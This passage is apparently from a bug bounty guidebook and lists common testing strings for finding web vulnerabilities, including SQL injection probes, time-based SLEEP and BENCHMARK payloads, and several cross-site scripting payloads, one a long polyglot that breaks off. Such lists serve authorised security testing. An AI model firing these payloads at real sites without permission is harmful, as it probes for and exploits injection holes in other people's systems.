Bug Bounty Hunting Essentials

Other common strings

Here is a list of other common strings that you can use to detect vulnerabilities:

Common testing strings

'

>

'>

'>">

'1 or 1==1--

' or 1==1

[]

{}

article.php?title=<meta%20http-equiv="refresh"%20content="0;">

'><script>alert(1)</script>

"><img src="x:x" onerror="alert(0)">

"><iframe src="javascript:alert(0)">

<img%20src='aaa'%20onerror=alert(1)>

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

'%2Bbenchmark(3200,SHA1(1))%2B'

'+BENCHMARK(40000000,SHA1(1337))+'

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) ...